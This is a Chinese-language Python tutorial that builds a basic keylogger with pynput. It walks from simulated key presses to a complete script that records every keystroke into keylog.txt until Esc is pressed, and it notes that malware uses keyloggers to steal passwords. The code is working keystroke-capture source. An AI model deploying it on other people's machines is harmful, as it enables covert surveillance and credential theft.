使用Python创建键盘记录器
键盘记录器是一种监控软件,用于记录用户使用键盘键入的按键。它们通常用于监视网络使用情况和解决技术错误。相反,许多恶意软件利用键盘记录器试图获取不同网站的用户名和密码。
在以下教程中,我们将了解如何使用Python编程语言中的 pynput 库创建一个简单的键盘记录器。
那么,让我们开始吧。
了解Python pynput库
Python中的 pynput 库使程序员能够控制和监视输入设备。该库包含用于每种支持的输入设备类型的子包:
- mouse: 此子包包含用于控制和监视鼠标或触摸板的类。
- keyboard: 此子包包含用于控制和监视键盘的类。
为了安装Python库,我们需要一个名为 pip 的框架,用于维护安装模块所需的从可信公共存储库安装模块的必要软件包。一旦我们有了 pip ,我们可以使用以下命令从命令提示符(CMD)或终端安装 pynput 库:
语法:
$ pip install pynput
所有之前提到的模块都会自动导入到 pynput 包中。我们可以通过从主包中导入它们来使用其中任何一个。一旦 pynput 包安装完成,我们可以通过创建一个空的Python程序文件并编写一个 import 语句来验证它,如下所示:
文件:verify.py
# importing different modules from the pynput library
from pynput import keyboard, mouse
现在,保存以上文件并在终端中使用以下命令执行:
语法:
$ python verify.py
如果上面的Python程序文件没有返回任何错误,说明库已经正确安装。然而,如果出现异常情况,请尝试重新安装库,并建议参考库的官方文档。
在接下来的教程中,我们将仅讨论pynput库的keyboard模块,该库将用于创建一个简单的键盘记录器。
但首先,让我们了解一些基础知识。
使用Python按下和释放键盘按键
我们首先要学习的是如何使用Python控制键盘,特别是按下键盘上的按键的方法。
我们应该关注两种类型的按键:
- 普通按键- 这些按键包括字母、数字和符号。
- 特殊按键- 这些按键包括空格、Shift、Ctrl等。
为了开始控制键盘,我们需要创建一个Controller()类对象,该对象将具有press()和release()方法。这个类将键盘事件发送到系统。
让我们现在考虑一个简单的示例来演示相同的内容:
示例1
# importing different modules from the pynput library
from pynput.keyboard import Controller
# instantiating the Controller class
the_keyboard = Controller()
# using the press() and release() methods
the_keyboard.press('x')
the_keyboard.release('x')
说明:
在以上代码片段中,我们从 pynput 库的keyboard模块中导入了 Controller() 类。然后创建了一个 Controller() 类的对象。接下来,我们使用 press() 和 release() 方法来打印一个字母。因此,上述代码将在鼠标光标所在位置打印一次” x “。它也被设计为一次只能按下和释放一个键。
以上代码片段的输出如下所示:
输出:
$ python example1.py
$ x
此外,我们还可以同时按下和释放多个键。让我们考虑以下示例来演示相同的操作:
示例2
# importing different modules from the pynput library
from pynput.keyboard import Controller
# instantiating the Controller class
the_keyboard = Controller()
# using the press() and release() methods
the_keyboard.press('x')
the_keyboard.release('x')
the_keyboard.press('y')
the_keyboard.release('y')
the_keyboard.press('z')
the_keyboard.release('z')
解释:
在上面的代码片段中,我们现在按下并释放了多个键。结果,我们将看到“xyz”作为输出。
上面代码片段的输出如下所示:
输出:
$ python example2.py
$ xyz
现在,让我们了解处理特殊键的方式。假设我们要按下 “xy”(x、空格、y)。
像空格这样的特殊键是通过 pynput 库中的 Key 类调用的。
Key 类代表可能不对应字母的不同按钮。此类包括修改键和功能键。
所有特殊键的完整列表在下表中提供。这些实体的实际值因平台而异。某些平台可能包括其他按钮,但可以保证在任何地方都可以使用这些键。
示例3
# importing different modules from the pynput library
from pynput.keyboard import Key, Controller
# instantiating the Controller class
the_keyboard = Controller()
# using the press() and release() methods
the_keyboard.press('x')
the_keyboard.release('x')
the_keyboard.press(Key.space)
the_keyboard.release(Key.space)
the_keyboard.press('y')
the_keyboard.release('y')
输出:
$ python example3.py
$ x y
在上面的代码片段中,我们从pynput.keyboard模块导入了Key和Controller类。我们实例化了Controller类,并使用press()和release()方法键入了一些字母。我们还使用Key类帮助了空格键,并打印了两个字母“x”和“y”之间的空格。
上述方法适用于我们按下和释放的特殊键,例如空格,回车等等。然而,我们如何处理在键入时按下的键?让我们以Shift键为例,目标是按下“Xy”(大写X,小写y)。
为了执行这样的功能,Controller()类提供了一个实用的方法called pressed()。让我们考虑一下下面的示例来演示相同的功能:
示例4
# importing different modules from the pynput library
from pynput.keyboard import Key, Controller
# instantiating the Controller class
the_keyboard = Controller()
# using the press() and release() methods
with the_keyboard.pressed(Key.shift):
the_keyboard.press('x')
the_keyboard.release('x')
the_keyboard.press('y')
the_keyboard.release('y')
输出:
$ python example4.py
$ Xy
解释:
在上面的代码片段中,我们从pynput.keyboard模块中导入了Key和Controller类。我们实例化了Controller类,并在with语句中使用了Key类中的shift键来调用pressed()方法。我们在这个语句中使用了press()和release()方法来键入字母’x’。我们再次使用press()和release()方法,并键入字母’y’。
可根据需要尝试不同的键组合。可以根据自己的需求配置代码;但是,这是控制键盘的按下和释放逻辑的概述。
创建一个示例日志文件
现在让我们创建一个示例日志文件,用于存储键盘记录的按键。
我们可以创建一个示例文件,并将其集成到键盘记录过程中。
以下代码段演示了相同的内容:
示例5:
with open("keylog.txt", "w") as log:
log.write("This is a log file.")
解释:
在上面的代码片段中,我们使用 open() 方法在 with 语句中创建一个名为 keylog.txt 的新文件。然后,我们使用 write() 方法在这个日志文件中写入一些文本。
一旦我们执行上面的代码,我们将得到一个包含文本 This is a log file 的 keylog.txt 文件。我们希望Python记录我们按下的键并将其添加到该文件中。
使用Python创建一个简单的键盘记录器
我们知道如何创建一个带有一些示例文本的日志文件。我们希望Python写入我们按下的键并将它们存储在这个文件中(而不是在那里有相同的文本)。
所以,让我们首先在理论上考虑我们想要执行的操作。我们需要一个列表,它将持续追加我们在键盘上按下的键。然后,一旦按下一个键,它将把这个列表写入一个文件中。
让我们通过以下代码片段来理解上述语句的工作原理。
文件:keylogger.py
# importing the required modules
from pynput.keyboard import Key
# creating an empty list to store pressed keys
the_keys = []
# creating a function that defines what to do on each key press
def functionPerKey(key):
# appending each pressed key to a list
the_keys.append(key)
# writing list to file after each key pressed
storeKeysToFile(the_keys)
解释:
在上面的代码片段中,我们从pynput库的keyboard模块中导入了Key类。然后我们创建了一个空列表来存储按下的键。然后我们定义了一个名为functionPerKey()的函数,用于在按下键时执行指令。我们在这个函数中使用了append()函数来将每个按下的键追加到列表中。我们调用了另一个名为storeKeysToFile()的函数,以便在按下每个键后将列表写入文件。然而,这个函数仍然需要定义。
请记住,我们按下的键以“键”格式呈现,为了将它写入文件,我们必须将其转换为字符串。此外,我们还需要删除每个键上的引号,因为每个键都是一个字符串,我们希望将它们连接在一起。
现在让我们考虑下面的代码片段,我们将定义另一个函数来将键写入文件。
文件:keylogger.py
# defining the function to write keys to the log file
def storeKeysToFile(keys):
# creating the keylog.txt file with write mode
with open('keylog.txt', 'w') as log:
# looping through each key present in the list of keys
for the_key in keys:
# converting the key to string and removing the quotation marks
the_key = str(the_key).replace("'", "")
# writing each key to the keylog.txt file
log.write(the_key)
说明:
在以上的代码片段中,我们定义了一个自定义函数, storeKeysToFile() 它接受一个键作为参数。在这个函数中,我们使用 open() 方法以写入模式创建了 keylog.txt 文件。然后,我们使用 for 循环来遍历键列表中的每一个键,并将它们转换为字符串,并去掉引号。然后,我们使用 write() 方法将每一个键写入 keylog.txt 文件中。
结果是,每当按下一个键时,Python会创建一个 keylog.txt 文件,其中包含从脚本开始运行到最后一个按下的键的列表。
如果我们保留这段代码,它将一直执行下去。我们将定义一个函数,其中包含一些停止键或键的组合,可以停止键盘记录器。我们将考虑 ” Esc ” 作为程序的停止键。现在我们将进入其实现。
正如我们已经知道的,每当我们按下 ” Esc ” 键时,它将被添加到 keylog.txt 文件中。因此,我们将定义一个操作,在我们按下 ” Esc ” 键后释放它时必须发生的操作。
现在让我们考虑下面的代码片段,演示了这样一个函数的实现。
文件:keylogger.py
# defining the function to perform operation on each key release
def onEachKeyRelease(the_key):
# In case, the key is "Esc" then stopping the keylogger
if the_key == Key.esc:
return False
说明:
在上述的代码片段中,我们定义了一个函数来处理每次键盘释放事件。在这个函数中,我们使用了 if 条件语句来检查释放的键是否为” Esc “,如果是,则返回 False 。
作为最后一步,我们需要将所有代码放在一起并运行键盘记录程序。
我们需要一个监听对象来运行键盘记录器。该对象将记录键盘事件。我们将使用 pynput 库的 keyboard 模块中的 Listener() 类来执行此操作。
Listener() 类具有不同的参数;然而,我们只需要其中两个。这些参数的简要说明如下:
- on_press – 当按下一个键时调用的函数。
- on_release – 当释放一个键时调用的函数。
现在,我们将以上自定义函数分配为 Listener() 类的参数,以便我们可以将每个按下的键与其他键连接起来。
现在,让我们考虑以下代码片段,演示了上述语句的实现。
文件:keylogger.py
from pynput.keyboard import Listener
with Listener(
on_press = functionPerKey,
on_release = onEachKeyRelease
) as the_listener:
the_listener.join()
解释:
在上面的代码片段中,我们导入了代码片段,并从pynput库的keyboard模块中导入了Listener()类。然后,我们使用Listener()类指定参数为on_press = functionPerKey和on_release = onEachKeyRelease。最后,我们使用join()方法将这些指定的函数连接起来。
“Python Keylogger”程序的编码最终完成。现在我们可以保存文件并运行程序,看看它是否工作。
要运行程序,我们可以在命令行窗口或终端中输入以下命令:
命令:
$ python keylogger.py
但是在我们查看输出之前,请先看下完整的项目代码。
完整的程序代码
以下程序文件是“Python键盘记录器”程序的完整代码。
文件:keylogger.py
# importing the required modules
from pynput.keyboard import Key
from pynput.keyboard import Listener
# creating an empty list to store pressed keys
the_keys = []
# creating a function that defines what to do on each key press
def functionPerKey(key):
# appending each pressed key to a list
the_keys.append(key)
# writing list to file after each key pressed
storeKeysToFile(the_keys)
# defining the function to write keys to the log file
def storeKeysToFile(keys):
# creating the keylog.txt file with write mode
with open('keylog.txt', 'w') as log:
# looping through each key present in the list of keys
for the_key in keys:
# converting the key to string and removing the quotation marks
the_key = str(the_key).replace("'", "")
# writing each key to the keylog.txt file
log.write(the_key)
# defining the function to perform operation on each key release
def onEachKeyRelease(the_key):
# In case, the key is "Esc" then stopping the keylogger
if the_key == Key.esc:
return False
with Listener(
on_press = functionPerKey,
on_release = onEachKeyRelease
) as the_listener:
the_listener.join()
输出:
$ python keylogger.py
# type something and press enter to print something on Command prompt
$ This is a simple keylogger program.
# press "Esc" key to stop the keylogger
输出在 ‘keylog.txt’ 文件中: